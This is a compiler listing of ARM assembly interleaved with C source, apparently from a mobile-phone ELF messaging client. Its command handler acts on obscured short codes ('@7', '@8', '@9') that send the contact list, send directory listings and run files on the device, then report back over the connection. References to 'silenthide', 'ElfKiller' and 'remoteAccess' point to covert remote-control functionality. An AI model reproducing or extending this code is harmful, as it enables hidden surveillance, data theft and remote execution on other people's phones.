MOV R1,#+64 \ 000004B4 10008DE2 ADD R0,SP,#+16 \ 000004B8 1B0100EF SWI +283 295 strcat(s,ss); \ 000004BC 10108DE2 ADD R1,SP,#+16 \ 000004C0 0600A0E1 MOV R0,R6 \ 000004C4 170000EF SWI +23 \ 000004C8 08D08DE2 ADD SP,SP,#+8 296 } 297 } \ ??CheckComand2_26: \ 000004CC 007097E5 LDR R7,[R7, #+0] \ 000004D0 000057E3 CMP R7,#+0 \ 000004D4 EAFFFF1A BNE ??CheckComand2_27 298 #ifdef kluchnik 299 AddStringToLog(t,0x01,"Sending contact list all...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); 300 SendData(t,s,ENA_SIGNAL,0); 301 #else 302 SendData(t,s,DIS_SIGNAL,1); \ 000004D8 0130A0E3 MOV R3,#+1 \ 000004DC 0B20A0E1 MOV R2,R11 \ 000004E0 7AFFFFEA B ??CheckComand2_16 303 #endif 304 mfree(s); 305 return; 306 } 307 308 if(/*strstr(txt,"#getclist") || */strstr(txt,_GETCLIST)) \ ??CheckComand2_25: \ 000004E4 991F8FE2 ADR R1,??CheckComand2_0+0x10 ;; "@7" \ 000004E8 0600A0E1 MOV R0,R6 \ 000004EC 180100EF SWI +280 \ 000004F0 000050E3 CMP R0,#+0 \ 000004F4 2800000A BEQ ??CheckComand2_28 309 { 310 CLIST *tt; 311 tt=(CLIST *)(&cltop); 312 char *s=malloc(16384); \ 000004F8 400CA0E3 MOV R0,#+16384 \ 000004FC 140000EF SWI +20 \ 00000500 0060A0E1 MOV R6,R0 313 *s=0; \ 00000504 00B0C6E5 STRB R11,[R6, #+0] \ 00000508 160000EA B ??CheckComand2_29 314 char ss[64]; 315 char *q; 316 while(tt=(CLIST *)(tt->next)) 317 { 318 if(tt->state!=0xFFFF && !tt->isgroup) \ ??CheckComand2_30: \ 0000050C B405D7E1 LDRH R0,[R7, #+84] \ 00000510 FF10A0E3 MOV R1,#+255 \ 00000514 FF1C81E3 ORR R1,R1,#0xFF00 \ 00000518 010050E1 CMP R0,R1 \ 0000051C 1100000A BEQ ??CheckComand2_29 \ 00000520 080097E5 LDR R0,[R7, #+8] \ 00000524 000050E3 CMP R0,#+0 \ 00000528 0E00001A BNE ??CheckComand2_29 319 { 320 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 0000052C 0700A0E1 MOV R0,R7 \ 00000530 ........ _BLF GetIconIndex,??GetIconIndex??rA \ 00000534 ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 321 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 00000538 01002DE9 PUSH {R0} \ 0000053C 0C0097E5 LDR R0,[R7, #+12] \ 00000540 143087E2 ADD R3,R7,#+20 \ 00000544 01002DE9 PUSH {R0} \ 00000548 482085E2 ADD R2,R5,#+72 \ 0000054C 4010A0E3 MOV R1,#+64 \ 00000550 10008DE2 ADD R0,SP,#+16 \ 00000554 1B0100EF SWI +283 322 strcat(s,ss); \ 00000558 10108DE2 ADD R1,SP,#+16 \ 0000055C 0600A0E1 MOV R0,R6 \ 00000560 170000EF SWI +23 \ 00000564 08D08DE2 ADD SP,SP,#+8 323 } 324 } \ ??CheckComand2_29: \ 00000568 007097E5 LDR R7,[R7, #+0] \ 0000056C 000057E3 CMP R7,#+0 \ 00000570 E5FFFF1A BNE ??CheckComand2_30 325 #ifdef kluchnik 326 AddStringToLog(t,0x01,"Sending contact list online...",I_str,(++SENDMSGCOUNT)&0x7FFF,1); 327 SendData(t,s,ENA_SIGNAL,0); 328 #else 329 SendData(t,s,DIS_SIGNAL,1); \ 00000574 0130A0E3 MOV R3,#+1 \ 00000578 0B20A0E1 MOV R2,R11 \ 0000057C 0610A0E1 MOV R1,R6 \ 00000580 0400A0E1 MOV R0,R4 \ 00000584 ........ _BLF SendData,??SendData??rA 330 #endif 331 mfree(s); \ 00000588 0600A0E1 MOV R0,R6 \ ??CheckComand2_18: \ 0000058C 150000EF SWI +21 332 return; \ ??CheckComand2_4: \ 00000590 ACD08DE2 ADD SP,SP,#+172 \ 00000594 40DE8DE2 ADD SP,SP,#+1024 \ 00000598 F08FBDE8 POP {R4-R11,PC} 333 } \ ??CheckComand2_28: \ 0000059C 6C1F8FE2 ADR R1,??CheckComand2_0+0x14 ;; "@8" \ 000005A0 0600A0E1 MOV R0,R6 334 335 336 337 if(/*strstr(txt,"#getflist") || */strstr(txt,_GETFLIST)) \ 000005A4 180100EF SWI +280 \ 000005A8 000050E3 CMP R0,#+0 \ 000005AC 4800000A BEQ ??CheckComand2_31 338 { 339 DIR_ENTRY de; 340 unsigned int err; 341 char *s=malloc(16384); \ 000005B0 400CA0E3 MOV R0,#+16384 \ 000005B4 140000EF SWI +20 \ 000005B8 0070A0E1 MOV R7,R0 342 char *path=malloc(256); \ 000005BC 400FA0E3 MOV R0,#+256 \ 000005C0 140000EF SWI +20 \ 000005C4 0080A0E1 MOV R8,R0 343 char p[64]; 344 if(strstr(txt,_GETFLIST)) \ 000005C8 611F8FE2 ADR R1,??CheckComand2_0+0x14 ;; "@8" \ 000005CC 0600A0E1 MOV R0,R6 \ 000005D0 180100EF SWI +280 \ 000005D4 000050E3 CMP R0,#+0 \ 000005D8 0300000A BEQ ??CheckComand2_32 345 sprintf(path,per_s,txt+3); \ 000005DC B0119FE5 LDR R1,??CheckComand2_0+0x54 ;; per_s \ 000005E0 032086E2 ADD R2,R6,#+3 \ 000005E4 0800A0E1 MOV R0,R8 \ 000005E8 160000EF SWI +22 346 /* else 347 sprintf(path,per_s,txt+strlen("#getflist")+1);*/ 348 char *ptr=path+strlen(path)+1; \ ??CheckComand2_32: \ 000005EC 0800A0E1 MOV R0,R8 \ 000005F0 1B0000EF SWI +27 \ 000005F4 080080E0 ADD R0,R0,R8 \ 000005F8 019080E2 ADD R9,R0,#+1 349 strcat(path,"\\*.*"); \ 000005FC 5C1085E2 ADD R1,R5,#+92 \ 00000600 0800A0E1 MOV R0,R8 \ 00000604 170000EF SWI +23 350 *s=0; \ 00000608 00B0C7E5 STRB R11,[R7, #+0] 351 if(FindFirstFile(&de,path,&err)) \ 0000060C 0D20A0E1 MOV R2,SP \ 00000610 0810A0E1 MOV R1,R8 \ 00000614 68008DE2 ADD R0,SP,#+104 \ 00000618 6B0000EF SWI +107 \ 0000061C 000050E3 CMP R0,#+0 \ 00000620 1300000A BEQ ??CheckComand2_33 352 { 353 do 354 { 355 strcpy(ptr,de.file_name); \ ??CheckComand2_34: \ 00000624 1D108DE2 ADD R1,SP,#+29 \ 00000628 401F81E2 ADD R1,R1,#+256 \ 0000062C 0900A0E1 MOV R0,R9 \ 00000630 1A0000EF SWI +26 356 if (de.file_attr&FA_DIRECTORY) \ 00000634 F409DDE1 LDRSH R0,[SP, #+148] \ 00000638 1D208DE2 ADD R2,SP,#+29 \ 0000063C 402F82E2 ADD R2,R2,#+256 \ 00000640 100010E3 TST R0,#0x10 357 sprintf(p,"\\%s\r\n",de.file_name); \ 00000644 64108512 ADDNE R1,R5,#+100 358 else 359 sprintf(p," %s\r\n",de.file_name); \ 00000648 6C108502 ADDEQ R1,R5,#+108 \ 0000064C 08008DE2 ADD R0,SP,#+8 \ 00000650 160000EF SWI +22 360 strcat(s,p); \ 00000654 08108DE2 ADD R1,SP,#+8 \ 00000658 0700A0E1 MOV R0,R7 \ 0000065C 170000EF SWI +23 361 } 362 while(FindNextFile(&de,&err)); \ 00000660 0D10A0E1 MOV R1,SP \ 00000664 68008DE2 ADD R0,SP,#+104 \ 00000668 6C0000EF SWI +108 \ 0000066C 000050E3 CMP R0,#+0 \ 00000670 EBFFFF1A BNE ??CheckComand2_34 363 } 364 FindClose(&de,&err); \ ??CheckComand2_33: \ 00000674 0D10A0E1 MOV R1,SP \ 00000678 68008DE2 ADD R0,SP,#+104 \ 0000067C 6D0000EF SWI +109 365 mfree(path); \ 00000680 0800A0E1 MOV R0,R8 \ 00000684 150000EF SWI +21 366 if(!s) sprintf(s,"dr ( %s ) n f",txt+strlen(_GETFLIST)+1); \ 00000688 000057E3 CMP R7,#+0 \ 0000068C 0600001A BNE ??CheckComand2_35 \ 00000690 2F0F8FE2 ADR R0,??CheckComand2_0+0x14 ;; "@8" \ 00000694 1B0000EF SWI +27 \ 00000698 060080E0 ADD R0,R0,R6 \ 0000069C 012080E2 ADD R2,R0,#+1 \ 000006A0 741085E2 ADD R1,R5,#+116 \ 000006A4 0000A0E3 MOV R0,#+0 \ 000006A8 160000EF SWI +22 367 368 #ifdef kluchnik 369 char *ss=malloc(256); 370 sprintf(ss,"Recive command < Get files from directory %s >",txt+strlen(_GETFLIST)+1); 371 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 372 if(SHOW_ACTIVE) 373 t->isactive=ACTIVE_TIME; 374 SendData(t,s,ENA_SIGNAL,0); 375 mfree(ss); 376 #else 377 SENDMSGCOUNT++; \ ??CheckComand2_35: \ 000006AC 00009AE5 LDR R0,[R10, #+0] 378 SendData(t,s,DIS_SIGNAL,0); \ 000006B0 0030A0E3 MOV R3,#+0 \ 000006B4 010080E2 ADD R0,R0,#+1 \ 000006B8 00008AE5 STR R0,[R10, #+0] \ 000006BC 0320A0E1 MOV R2,R3 \ 000006C0 0710A0E1 MOV R1,R7 \ 000006C4 0400A0E1 MOV R0,R4 \ 000006C8 ........ _BLF SendData,??SendData??rA 379 #endif 380 mfree(s); \ 000006CC 0700A0E1 MOV R0,R7 \ 000006D0 ADFFFFEA B ??CheckComand2_18 381 return; 382 } 383 384 if(/*strstr(txt,"#runfile") ||*/ strstr(txt,_RUNFILE)) \ ??CheckComand2_31: \ 000006D4 1F7F8FE2 ADR R7,??CheckComand2_0+0x18 ;; "@9" \ 000006D8 0710A0E1 MOV R1,R7 \ 000006DC 0600A0E1 MOV R0,R6 \ 000006E0 180100EF SWI +280 \ 000006E4 000050E3 CMP R0,#+0 \ 000006E8 1100000A BEQ ??CheckComand2_1 385 { 386 #ifdef kluchnik 387 char *ss=malloc(256); 388 sprintf(ss,"Recive command < Run file %s >",txt+strlen(_RUNFILE)+1); 389 AddStringToLog(t,0x01,ss,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 390 SendData(t,"File was been runned!!",ENA_SIGNAL,0); 391 mfree(ss); 392 #else 393 int i=0; 394 if(strstr(txt,_RUNFILE)) i=start(txt+3); \ 000006EC 0710A0E1 MOV R1,R7 \ 000006F0 0600A0E1 MOV R0,R6 \ 000006F4 180100EF SWI +280 \ 000006F8 000050E3 CMP R0,#+0 \ 000006FC 0700000A BEQ ??CheckComand2_36 395 // else i=start(txt+strlen("#runfile")+1); 396 397 if(i) \ 00000700 030086E2 ADD R0,R6,#+3 \ 00000704 ........ BL start \ 00000708 000050E3 CMP R0,#+0 \ 0000070C 0300000A BEQ ??CheckComand2_36 398 SendData(t,"run!",DIS_SIGNAL,1); \ 00000710 0130A0E3 MOV R3,#+1 \ 00000714 0B20A0E1 MOV R2,R11 \ 00000718 841085E2 ADD R1,R5,#+132 \ 0000071C 020000EA B ??CheckComand2_20 399 else 400 SendData(t,"nrun!",DIS_SIGNAL,1); \ ??CheckComand2_36: \ 00000720 0130A0E3 MOV R3,#+1 \ 00000724 0B20A0E1 MOV R2,R11 \ 00000728 8C1085E2 ADD R1,R5,#+140 \ ??CheckComand2_20: \ 0000072C 0400A0E1 MOV R0,R4 \ 00000730 ........ _BLF SendData,??SendData??rA \ ??CheckComand2_1: \ 00000734 ACD08DE2 ADD SP,SP,#+172 \ 00000738 40DE8DE2 ADD SP,SP,#+1024 \ 0000073C F08FBDE8 POP {R4-R11,PC} ;; return \ ??CheckComand2_0: \ 00000740 61637400 DC8 "act" \ 00000744 40340000 DC8 "@4",+0 \ 00000748 40350000 DC8 "@5",+0 \ 0000074C 40360000 DC8 "@6",+0 \ 00000750 40370000 DC8 "@7",+0 \ 00000754 40380000 DC8 "@8",+0 \ 00000758 40390000 DC8 "@9",+0 \ 0000075C ........ DC32 comanda \ 00000760 ........ DC32 SENDMSGCOUNT \ 00000764 ........ DC32 SendAnswer \ 00000768 ........ DC32 `?` \ 0000076C ........ DC32 ElfKiller \ 00000770 ........ DC32 vibra_count \ 00000774 ........ DC32 VIBR_TYPE \ 00000778 ........ DC32 silenthide \ 0000077C ........ DC32 gipc \ 00000780 ........ DC32 ipc_xtask_name \ 00000784 ........ DC32 ipc_my_name \ 00000788 ........ DC32 disautorecconect \ 0000078C ........ DC32 end_socket \ 00000790 ........ DC32 cltop \ 00000794 ........ DC32 per_s 401 #endif 402 return; 403 } 404 }//if(txt[0]=='#' && t->remoteAccess!=4) 405 } \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 4E554C4C2070 DC8 "NULL pointer function!" \ 6F696E746572 \ 2066756E6374 \ 696F6E2100 \ 00000017 00 DC8 0 \ 00000018 2530385800 DC8 "%08X" \ 0000001D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 40313300 DC8 "@13" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 424741474100 DC8 "BGAGA" \ 00000006 0000 DC8 0, 0 \ 00000008 404D7320733A DC8 "@Ms s: %s" \ 20257300 \ 00000012 0000 DC8 0, 0 \ 00000014 6D205B202573 DC8 "m [ %s ] to [ %s ] n [ %s ] s." \ 205D20746F20 \ 5B202573205D \ 206E205B2025 \ 73205D20732E \ 00 \ 00000033 00 DC8 0 \ 00000034 4D2025732073 DC8 "M %s snd" \ 6E6400 \ 0000003D 000000 DC8 0, 0, 0 \ 00000040 7363722E2E00 DC8 "scr.." \ 00000046 0000 DC8 0, 0 \ 00000048 257320282025 DC8 "%s ( %d ) [%s]\015\012" \ 642029205B25 \ 735D0D0A00 \ 00000059 000000 DC8 0, 0, 0 \ 0000005C 5C2A2E2A00 DC8 "\\*.*" \ 00000061 000000 DC8 0, 0, 0 \ 00000064 5C25730D0A00 DC8 "\\%s\015\012" \ 0000006A 0000 DC8 0, 0 \ 0000006C 2025730D0A00 DC8 " %s\015\012" \ 00000072 0000 DC8 0, 0 \ 00000074 647220282025 DC8 "dr ( %s ) n f" \ 732029206E20 \ 6600 \ 00000082 0000 DC8 0, 0 \ 00000084 72756E2100 DC8 "run!" \ 00000089 000000 DC8 0, 0, 0 \ 0000008C 6E72756E2100 DC8 "nrun!" \ 00000092 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 40313000 DC8 "@10" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313100 DC8 "@11" \ In segment DATA_C, align 4, align-sorted \ 00000000 40313200 DC8 "@12" \ In segment DATA_C, align 1, align-sorted \ 00000000 403100 DC8 "@1" \ In segment DATA_C, align 1, align-sorted \ 00000000 2100 DC8 "!" \ In segment DATA_C, align 1, align-sorted \ 00000000 2000 DC8 " " \ In segment DATA_C, align 1, align-sorted \ 00000000 496200 DC8 "Ib" \ In segment DATA_C, align 1, align-sorted \ 00000000 403200 DC8 "@2" \ In segment DATA_C, align 4, align-sorted \ 00000000 61637400 DC8 "act" \ In segment DATA_C, align 1, align-sorted \ 00000000 403300 DC8 "@3" \ In segment DATA_C, align 1, align-sorted \ 00000000 403400 DC8 "@4" \ In segment DATA_C, align 1, align-sorted \ 00000000 403500 DC8 "@5" \ In segment DATA_C, align 1, align-sorted \ 00000000 403600 DC8 "@6" \ In segment DATA_C, align 1, align-sorted \ 00000000 403700 DC8 "@7" \ In segment DATA_C, align 1, align-sorted \ 00000000 403800 DC8 "@8" \ In segment DATA_C, align 1, align-sorted \ 00000000 403900 DC8 "@9" Maximum stack usage in bytes: Function CSTACK -------- ------ CheckComand2 1240 get_file_size 48 start 16 Segment part sizes: Function/Label Bytes -------------- ----- get_file_size 40 start 468 CheckComand2 1944 ? 32 ? 4 ? 148 ? 4 ? 4 ? 4 ? 3 ? 2 ? 2 ? 3 ? 3 ? 4 ? 3 ? 3 ? 3 ? 3 ? 3 ? 3 ? 3 Others 96 2 548 bytes in segment CODE 234 bytes in segment DATA_C 2 452 bytes of CODE memory (+ 96 bytes shared) 234 bytes of CONST memory Errors: none Warnings: none